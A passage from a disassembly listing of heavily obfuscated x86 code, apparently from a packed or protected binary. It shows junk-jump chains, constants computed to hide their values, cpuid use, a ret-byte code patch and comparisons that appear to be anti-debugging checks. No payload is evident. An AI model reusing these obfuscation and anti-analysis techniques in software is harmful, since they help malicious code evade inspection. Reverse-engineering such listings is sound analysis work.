sub_42C507 ; --------------------------------------------------------------------------- locret_42BF87: ; CODE XREF: wto1jq8f:loc_42E718j retn ; --------------------------------------------------------------------------- loc_42BF88: ; CODE XREF: wto1jq8f:loc_42ACD1j shr edx, 3 push 0F7B36C73h pop ecx rol ecx, 0Ah xor ecx, 0C9BFA9ACh add ecx, 0FC342EE6h jmp loc_42AC82 ; --------------------------------------------------------------------------- loc_42BFA5: ; CODE XREF: wto1jq8f:00428974j push 0BC390683h pop edi xor edi, 0E76D8688h test edi, 8000000h jmp loc_42420B ; --------------------------------------------------------------------------- loc_42BFBC: ; CODE XREF: wto1jq8f:0042BBEAj jnz loc_42B0D8 loc_42BFC2: ; CODE XREF: wto1jq8f:loc_42BBDAj add edx, 76BCC51Bh xchg edx, [esp] jmp loc_429588 ; --------------------------------------------------------------------------- dword_42BFD0 dd 3105C2C1h, 96810FEAh, 0C1FFFFA2h, 0E20105C2h, 8905C2C1h ; DATA XREF: wto1jq8f:00427E46o dd 7D83FC55h, 0ECE900F8h, 87000011h, 0C1C10055h ; --------------------------------------------------------------------------- pop ss loc_42BFF5: ; CODE XREF: wto1jq8f:00428692j jmp loc_42693B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42BFFA: ; CODE XREF: sub_42DC5C:loc_426941j add eax, esi pop esi add eax, 18h mov [ebp-4], eax jmp loc_42F088 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- sub edx, ecx sbb ebp, 0A5B2E82Dh jmp near ptr sub_4267AE ; --------------------------------------------------------------------------- jge nullsub_110 ; =============== S U B R O U T I N E ======================================= sub_42C01B proc far ; CODE XREF: wto1jq8f:0042C2C8p xchg eax, [esp+0] pop eax push eax push 2D36C3ADh pop eax xor eax, 70E27B51h jmp loc_42C18D sub_42C01B endp ; =============== S U B R O U T I N E ======================================= sub_42C031 proc far ; CODE XREF: wto1jq8f:00428720j ; wto1jq8f:0042C9BFp mov [esp+0], esi pop esi lea eax, [ebp-14h] push eax call sub_42B02D jmp near ptr loc_42F3BA+1 sub_42C031 endp ; --------------------------------------------------------------------------- loc_42C043: ; CODE XREF: wto1jq8f:0042BADBj jb loc_426F10 ; =============== S U B R O U T I N E ======================================= sub_42C049 proc far ; CODE XREF: wto1jq8f:00429035p ; FUNCTION CHUNK AT 0042AA72 SIZE 00000005 BYTES mov [esp+0], edi pop edi lea eax, [ebp-1Ch] mov dword ptr [eax], 474244h push 0 jmp loc_42AA72 sub_42C049 endp ; --------------------------------------------------------------------------- sub eax, 0FA9A701Ch jmp loc_42C2EF ; --------------------------------------------------------------------------- loc_42C068: ; CODE XREF: wto1jq8f:00429888j or eax, eax jnz loc_42B105 jmp loc_429342 ; --------------------------------------------------------------------------- loc_42C075: ; CODE XREF: wto1jq8f:00424544j xchg eax, [esp] pop eax imul byte ptr [edx] push offset byte_424573 ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42C080: ; CODE XREF: sub_42ADC7-3603j jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_42C085: ; DATA XREF: sub_42B705+13o pop ecx mov [ebp-20h], eax jmp loc_426C60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42C08E: ; CODE XREF: sub_42D53B:loc_42C1CBj test byte ptr [ebp-8], 40h jz loc_426C60 jmp sub_426C53 ; END OF FUNCTION CHUNK FOR sub_42D53B ; --------------------------------------------------------------------------- db 89h, 45h, 0FCh dd 0FC7D83h, 2E84840Fh, 0B4E90000h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42621A loc_42C0AF: ; CODE XREF: sub_42621A+8j test byte ptr [eax-8], 8 setnz al call sub_426E98 pop ecx call sub_42EAED xchg eax, [esp-4+arg_0] mov eax, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_42621A ; --------------------------------------------------------------------------- jmp loc_4286CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426AD4 loc_42C0CD: ; CODE XREF: sub_426AD4:loc_428B74j jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_426AD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427218 loc_42C0D2: ; CODE XREF: sub_427218+17j jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_427218 ; --------------------------------------------------------------------------- loc_42C0D7: ; CODE XREF: wto1jq8f:00428CC1j push ebp mov ebp, esp jmp loc_42C982 ; =============== S U B R O U T I N E ======================================= sub_42C0DF proc near ; CODE XREF: sub_42D44C:loc_42E878p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427A25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F9DC SIZE 00000028 BYTES mov [esp+0], eax mov eax, [ebp-8] pushf mov [esp+4+var_4], ebp mov ebp, eax jmp loc_427A25 sub_42C0DF endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42C0F0: ; CODE XREF: wto1jq8f:0042B95Fj jo loc_42CE7B ; =============== S U B R O U T I N E ======================================= sub_42C0F6 proc near ; CODE XREF: sub_42DB52-2DCDp xchg ecx, [esp+0] pop ecx mov edx, [edx] shr edx, 3 jmp near ptr loc_42F8CB+2 sub_42C0F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, 903B93FBh jmp sub_429BA6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_42C10F: ; CODE XREF: sub_42BB8A:loc_426052j call sub_428C0C ; END OF FUNCTION CHUNK FOR sub_42BB8A ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_42C114: ; CODE XREF: sub_424BF9:loc_4268C1j call sub_424585 mov edx, 0B9726E5Ah call sub_429165 push eax jmp loc_429DF4 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A30F loc_42C129: ; CODE XREF: sub_42A30F-5A5Cj jbe loc_42C706 popf xchg ebx, ecx jmp loc_42FD8C ; END OF FUNCTION CHUNK FOR sub_42A30F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42C137: ; CODE XREF: sub_429471+1D20j cmp ebp, 2D7BDDCDh jmp loc_42BF35 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42C142: ; CODE XREF: wto1jq8f:0042E225j test ecx, ebp jmp loc_4265AE ; --------------------------------------------------------------------------- mov [ecx], ebx jmp sub_42EECC ; --------------------------------------------------------------------------- locret_42C150: ; CODE XREF: wto1jq8f:0042DB32j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42C151: ; CODE XREF: sub_42B353:loc_42814Ej pop ebp mov eax, ds:dword_42D5FC call near ptr sub_4269FD loc_42C15D: ; CODE XREF: sub_428A19:loc_428A35j jmp loc_42C2FC ; END OF FUNCTION CHUNK FOR sub_42B353 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42C163: ; CODE XREF: wto1jq8f:0042A0C3j jmp locret_428176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42C168: ; CODE XREF: sub_4269FD-2571j jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- and ecx, ebx xchg edi, [ebp+0] ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C172: ; CODE XREF: sub_426535+1Aj ; wto1jq8f:loc_42728Aj ... jb loc_427EA1 cmp dword ptr [ebp-4], 4 jnz loc_42B4E8 jmp loc_42A5A8 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_42C187: ; CODE XREF: sub_429459:loc_42D516j jl loc_426A33 loc_42C18D: ; CODE XREF: sub_42C01B+11j jmp loc_425C6E ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- cmp ebx, 9FDC9789h jmp loc_427C51 ; --------------------------------------------------------------------------- loc_42C19D: ; CODE XREF: wto1jq8f:0042C937j xchg ebx, [esp] retn ; --------------------------------------------------------------------------- jmp loc_42AE2C ; --------------------------------------------------------------------------- loc_42C1A6: ; DATA XREF: wto1jq8f:0042C932o sub ebx, 600BAAD3h or ebx, 131C7015h xor ebx, 0DD1C6345h add ebx, ebp jmp loc_429852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D53B loc_42C1BF: ; CODE XREF: sub_42D53B:loc_42757Cj mov eax, [ebp-20h] call sub_42D67C pop ecx mov [ebp-20h], eax loc_42C1CB: ; CODE XREF: wto1jq8f:00426047j ; sub_42CD35:loc_42C868j ... jns loc_42C08E jmp loc_42B30B ; END OF FUNCTION CHUNK FOR sub_42D53B ; --------------------------------------------------------------------------- jnz loc_424CE8 jmp loc_424370 ; --------------------------------------------------------------------------- loc_42C1E1: ; CODE XREF: wto1jq8f:loc_42A980j or eax, eax jnz loc_42FC39 jmp loc_42A4A0 ; =============== S U B R O U T I N E ======================================= sub_42C1EE proc near ; CODE XREF: wto1jq8f:00426CB9j ; wto1jq8f:00428426p xchg ecx, [esp+0] pop ecx add edx, 5B930D43h push eax pushf push 0AA87D923h pop eax add eax, 6E435791h jmp near ptr loc_42EFC5+5 sub_42C1EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F8F loc_42C20B: ; CODE XREF: sub_427F8F+8j push offset loc_424958 jmp nullsub_159 ; END OF FUNCTION CHUNK FOR sub_427F8F ; --------------------------------------------------------------------------- loc_42C215: ; CODE XREF: wto1jq8f:0042ABECj jns loc_42E5FD ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C21B proc near ; CODE XREF: wto1jq8f:004299ADp arg_0 = dword ptr 4 mov [esp+0], esi pop esi add ecx, 0D64256D3h xchg ecx, [esp-4+arg_0] jmp sub_42D993 sub_42C21B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42C22D: ; CODE XREF: sub_42DC5C+CCj xor eax, 94B83481h jmp loc_424FE2 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_42C238: ; CODE XREF: sub_4260DB+BB4j pop eax xor eax, 0F6F5EA24h add eax, 595F4518h add eax, ebp call near ptr sub_429D4E loc_42C24C: ; CODE XREF: sub_4278BD+9j jmp near ptr loc_42FCE0+3 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- loc_42C251: ; CODE XREF: wto1jq8f:0042AC62j xchg esi, eax push 0F0A46567h pop esi xor esi, 28CEF3E5h add esi, 27D851F3h xchg esi, [esp] jmp loc_42A7BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C18 loc_42C26D: ; CODE XREF: sub_429C18-1DAj jle loc_42DBD2 test ebx, 0E20BE5AEh jmp loc_429EAB ; END OF FUNCTION CHUNK FOR sub_429C18 ; --------------------------------------------------------------------------- add ebx, ecx jmp loc_42953F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42C285: ; CODE XREF: sub_429281+539Aj jnz loc_42F0EB mov ebp, [edx] xor edx, 66CC6CA8h mov edx, ebx jmp loc_42F0E8 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42C29A: ; CODE XREF: sub_42606D+2C8Fj call sub_426C04 mov ds:dword_42A748, eax retn ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C507 loc_42C2A5: ; CODE XREF: sub_42C507+1Bj jmp loc_42BF60 ; END OF FUNCTION CHUNK FOR sub_42C507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A9E loc_42C2AA: ; CODE XREF: sub_427A9E+6j mov byte ptr [eax], 0C3h jmp loc_424E42 ; END OF FUNCTION CHUNK FOR sub_427A9E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42C2B3: ; CODE XREF: sub_429281-51AFj jb loc_42E33B sub eax, 824136DAh mov ebx, ecx jmp loc_42FC10 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_42C2C6: ; DATA XREF: sub_42CBD1+128o add edx, ebp call near ptr sub_42C01B ; START OF FUNCTION CHUNK FOR sub_4240DC loc_42C2CD: ; CODE XREF: sub_4240DC+1C01j jmp loc_427158 ; END OF FUNCTION CHUNK FOR sub_4240DC ; =============== S U B R O U T I N E ======================================= sub_42C2D2 proc near ; CODE XREF: sub_42EA31+Cj add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_42E4AD push offset loc_42A2AD jmp nullsub_66 sub_42C2D2 endp ; --------------------------------------------------------------------------- loc_42C2EF: ; CODE XREF: wto1jq8f:0042C063j and ecx, ebx jnz loc_42CCCE loc_42C2F7: ; CODE XREF: wto1jq8f:00429DE9j call sub_4272CB ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42C2FC: ; CODE XREF: sub_42B353:loc_42C15Dj push eax push 0FA42CD23h add dword ptr [esp+0], 5BD331Dh lea eax, [ebp+var_64] push eax push 0F0709A5Dh add dword ptr [esp+0], 0FCF65A3h pushf jmp loc_427E7A ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- add edx, ebp add edx, 9E674092h pushf push 640EFEE5h pop eax jmp locret_42F7F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B3E loc_42C333: ; CODE XREF: sub_428B3E:loc_42797Cj add ebx, 1DEC48F4h mov [ebx], edx push offset loc_4291C5 jmp loc_42D850 ; END OF FUNCTION CHUNK FOR sub_428B3E ; --------------------------------------------------------------------------- loc_42C345: ; CODE XREF: wto1jq8f:004298E7j jge loc_42764D jnp loc_428B47 jmp loc_4295CE ; --------------------------------------------------------------------------- loc_42C356: ; CODE XREF: wto1jq8f:loc_42420Bj ; wto1jq8f:00424220j add edi, 0A4EE1751h xchg edi, [esp] jmp loc_42F043 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42C364: ; CODE XREF: sub_429471-B72j jnz loc_42B2C7 pop eax cmp eax, edi jmp loc_4260BF ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42C372: ; CODE XREF: wto1jq8f:00424836j xor eax, ecx jmp loc_42DC03 ; --------------------------------------------------------------------------- loc_42C379: ; DATA XREF: sub_4260DB+27E8o xor edx, edx cpuid push offset sub_426FD6 jmp locret_425E8A ; --------------------------------------------------------------------------- loc_42C387: ; CODE XREF: wto1jq8f:0042B1AAj mov esp, ebp pop ebp mov eax, ds:dword_42ACFC or eax, eax jnz loc_4296AB jmp loc_4265A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_42C39D: ; CODE XREF: sub_426842+2B74j test esi, 40000000h jmp loc_424ECE ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42C3A8: ; CODE XREF: sub_42ADC7:loc_425F96j cmp dword ptr [ebp-4], 0 jnz loc_426AF5 loc_42C3B2: ; CODE XREF: wto1jq8f:0042B76Cj jmp loc_42AC6D ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_42C3B7: ; CODE XREF: sub_42E83D:loc_427FE4j add eax, 6A80F6D8h push eax push esi push 0C662E4Bh pop esi jmp loc_4269DB ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- loc_42C3CA: ; CODE XREF: wto1jq8f:0042A332j sbb ebp, 708C33A6h xor edx, 0F7D59D75h mov esi, [ebp+0] loc_42C3D9: ; CODE XREF: wto1jq8f:00424504j mov eax, 80000002h xor ebx, ebx jmp loc_4288C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42C3E5: ; CODE XREF: sub_427D82:loc_42DFA7j inc [ebp+var_20] mov eax, [ebp+var_20] mov byte ptr [eax], 0 call near ptr sub_42CA12 loc_42C3F3: ; CODE XREF: wto1jq8f:0042DC16j jmp loc_424112 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- loc_42C3F8: ; CODE XREF: wto1jq8f:00428715j jmp loc_42C964 ; --------------------------------------------------------------------------- locret_42C3FD: ; CODE XREF: wto1jq8f:0042BF54j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42C3FE: ; CODE XREF: sub_428333+386j jmp loc_42AFBF ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- or edi, eax mov ecx, 37F8AECEh jmp sub_42707F ; --------------------------------------------------------------------------- loc_42C40F: ; CODE XREF: wto1jq8f:loc_42ACDFj cmp byte ptr [eax], 2Eh jnz loc_42CA1E mov eax, [ebp-20h] mov byte ptr [eax], 64h jmp loc_42E5F5 ; =============== S U B R O U T I N E ======================================= sub_42C423 proc near ; CODE XREF: sub_42B565:loc_426EEEp ; wto1jq8f:0042B72Fj ; FUNCTION CHUNK AT 00427466 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E44A SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_427466 sub_42C423 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42C43B proc far ; CODE XREF: wto1jq8f:00427C88p ; wto1jq8f:0042EC98j ; FUNCTION CHUNK AT 0042C6F4 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov ecx, [ecx] push edx pushf push 7F3AA739h pop edx xor edx, 7F3AA73Eh jmp loc_42C6F4 sub_42C43B endp ; --------------------------------------------------------------------------- push offset loc_42ED63 jmp locret_42E68B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42C45E: ; CODE XREF: sub_424D58+6j or eax, eax jnz loc_42A7EF call sub_42E0E6 jmp loc_424A6E ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- loc_42C470: ; CODE XREF: wto1jq8f:004259B4j jmp loc_42B285 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42C475: ; CODE XREF: sub_42DC5C:loc_42DC99j xor ecx, ebx sub edx, ebx cmp edx, 1CF3C597h and ecx, ebx call sub_4259FF xchg eax, [esp-8+arg_4] pop eax ; END OF FUNCTION CHUNK FOR sub_42DC5C ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42C48A: ; CODE XREF: sub_42DB52:loc_426485j and ecx, 7 mov al, 1 shl al, cl push 87B8393Eh jmp loc_42E086 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- jb loc_426A48 pop esi loc_42C4A2: ; CODE XREF: wto1jq8f:00424CDDj lea eax, [ebp-25Ch] cmp dword ptr [eax], 47424454h jmp loc_428179 ; --------------------------------------------------------------------------- push eax lea eax, loc_42F35E+2 push eax push 0 push 0 call sub_42F563 jmp loc_42D82A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42C4CA: ; CODE XREF: sub_4244EA+749Bj jmp loc_42F65B ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_42C4CF proc near ; CODE XREF: wto1jq8f:004267A9j ; sub_42DC5C-52C2p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042D578 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx add eax, esi xchg edx, [esp-4+arg_0] mov esi, edx pop edx mov ebp, [eax] jmp loc_42D578 sub_42C4CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42C4E2 proc near ; DATA XREF: wto1jq8f:0042E1DFo ; FUNCTION CHUNK AT 00426451 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429417 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00429423 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A398 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042C958 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CD81 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042ECC0 SIZE 00000005 BYTES jnz loc_42A398 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_42A398 cmp dword ptr [ebp-10h], 0 jnz loc_42C958 mov eax, [ebp+8] jmp loc_42CD81 sub_42C4E2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C507 proc near ; CODE XREF: sub_42D910j ; FUNCTION CHUNK AT 00427F67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BF60 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042C2A5 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_42DB0C, 0 jnz loc_42BF6F call sub_427A9E call sub_424585 jmp loc_42C2A5 sub_42C507 endp ; --------------------------------------------------------------------------- loc_42C527: ; CODE XREF: wto1jq8f:loc_42E635j xchg edi, [esp] jmp near ptr sub_42CB36 ; --------------------------------------------------------------------------- loc_42C52F: ; DATA XREF: sub_4274BEo mov [esp], eax call sub_42D765 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C538: ; CODE XREF: sub_426535+508Fj jmp loc_427383 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42C53D: ; CODE XREF: wto1jq8f:0042A06Dj jmp sub_429165 ; --------------------------------------------------------------------------- loc_42C542: ; CODE XREF: wto1jq8f:00429C45j jmp loc_42CB88 ; =============== S U B R O U T I N E ======================================= sub_42C547 proc near ; CODE XREF: wto1jq8f:0042DB69j ; FUNCTION CHUNK AT 00425A2C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D20A SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042DB10 SIZE 00000005 BYTES call sub_4287D0 loc_42C54C: ; DATA XREF: wto1jq8f:0042C833o push eax rol eax, 3 loc_42C550: ; CODE XREF: wto1jq8f:loc_42A0A2j push ecx push 0E78D77F4h pop ecx jmp loc_42DB10 sub_42C547 endp ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_42F338+4 mov [ecx+0B8h], eax pop ecx jmp loc_42E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42C579: ; CODE XREF: sub_42D9FC-447j jnz loc_425074 jmp loc_425CFF ; END OF FUNCTION CHUNK FOR sub_42D9FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42C585: ; CODE XREF: sub_424D58+52ECj jmp loc_42FA6C ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42C58A: ; CODE XREF: sub_42A909-586Bj jmp loc_427EEA ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- locret_42C58F: ; CODE XREF: wto1jq8f:loc_426B68j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42C590: ; CODE XREF: sub_426D4F+4F21j jmp loc_42E8AA ; END OF FUNCTION CHUNK FOR sub_426D4F ; =============== S U B R O U T I N E ======================================= sub_42C595 proc near ; DATA XREF: wto1jq8f:0042A24Co push 6D819FAAh pop eax add eax, 436882DBh xor eax, 25549934h add eax, 6A84274Eh xchg eax, [esp+0] jmp sub_429165 sub_42C595 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42C5B6: ; CODE XREF: wto1jq8f:00428A62j jmp locret_427A2A ; --------------------------------------------------------------------------- loc_42C5BB: ; CODE XREF: wto1jq8f:00429D38j call sub_4281DD sub eax, ds:dword_42ACF0 shr eax, 11h jz loc_42E986 jmp loc_424A64 ; --------------------------------------------------------------------------- loc_42C5D4: ; CODE XREF: wto1jq8f:loc_4242E1j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] push offset loc_4278CC jmp locret_42D171 ; --------------------------------------------------------------------------- loc_42C5E7: ; DATA XREF: sub_42CF6A:loc_426020o mov eax, 0E0h call sub_428183 jmp loc_426794 ; --------------------------------------------------------------------------- loc_42C5F6: ; CODE XREF: wto1jq8f:0042E15Fj jnz loc_42D569 call near ptr sub_42CB36 test al, al jmp loc_429201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_42C608: ; CODE XREF: sub_42E83D:loc_4269DBj rol esi, 0Bh xor esi, 31725867h push offset sub_424FFE jmp loc_427A20 ; END OF FUNCTION CHUNK FOR sub_42E83D ; =============== S U B R O U T I N E ======================================= sub_42C61B proc near ; DATA XREF: sub_426313:loc_42DC52o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427C18 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042AE59 SIZE 00000005 BYTES push ebx push 22121368h pop ebx and ebx, 0B3BF2E6Dh jnz loc_427C18 loc_42C62E: ; CODE XREF: sub_42D397-1895j jmp nullsub_24 sub_42C61B endp ; --------------------------------------------------------------------------- and esi, 59608F85h jmp loc_427C16 ; --------------------------------------------------------------------------- mov edx, 277EFE57h call sub_429165 push eax rol eax, 0Eh push edi push 9B905E81h ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42C652: ; CODE XREF: sub_42D9D9-2D3Ej jmp loc_4289C7 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D1A8 loc_42C657: ; CODE XREF: sub_42D1A8:loc_428A9Aj cdq add eax, [esp+0] call near ptr sub_42606D ; END OF FUNCTION CHUNK FOR sub_42D1A8 ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42C660: ; CODE XREF: sub_42DEFF+16j jmp loc_42C72A ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- loc_42C665: ; CODE XREF: wto1jq8f:0042961Aj jmp loc_42FF5B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42C66B: ; CODE XREF: sub_426535+38DEj jmp loc_424201 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42C670 proc near ; CODE XREF: wto1jq8f:004296D9j ; wto1jq8f:00429972p ; FUNCTION CHUNK AT 0042960E SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042CCE3 SIZE 00000005 BYTES mov [esp+0], ebx pop ebx push edx push 0CC65AEBh pop edx add edx, 0F37C95D5h jmp loc_42CCE3 sub_42C670 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42C686: ; CODE XREF: sub_42DC5C+113j mov eax, 1 shl eax, cl mov edx, [ebp-1Ch] shr edx, 3 jmp near ptr loc_42F456+2 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42C698 proc near ; CODE XREF: wto1jq8f:00424790j ; sub_42DA69+7p arg_0 = dword ptr 4 mov [esp+0], edx pop edx mov [esp-4+arg_0], eax push edi pop eax push offset loc_42DB6E jmp nullsub_88 sub_42C698 endp ; --------------------------------------------------------------------------- loc_42C6AB: ; CODE XREF: wto1jq8f:00428739j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_42C6AC: ; CODE XREF: sub_42DA7A+734j jmp loc_42BEC6 ; END OF FUNCTION CHUNK FOR sub_42DA7A ; =============== S U B R O U T I N E ======================================= sub_42C6B1 proc far ; CODE XREF: sub_42C6C3+1170p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042A1AA SIZE 00000012 BYTES jnz loc_42A1AA xchg ebp, edi push edi xchg ebp, edi mov ebp, esp jmp loc_42BDAF sub_42C6B1 endp ; =============== S U B R O U T I N E ======================================= sub_42C6C3 proc far ; DATA XREF: sub_42DC5C:loc_42D48Co var_E = dword ptr -0Eh ; FUNCTION CHUNK AT 0042484F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E74 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042979E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B261 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D81C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042E29C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E82E SIZE 00000005 BYTES add eax, 2F309CFCh mov eax, [eax] push eax call sub_42B855 mov eax, [ebp-4] jmp loc_42484F sub_42C6C3 endp ; 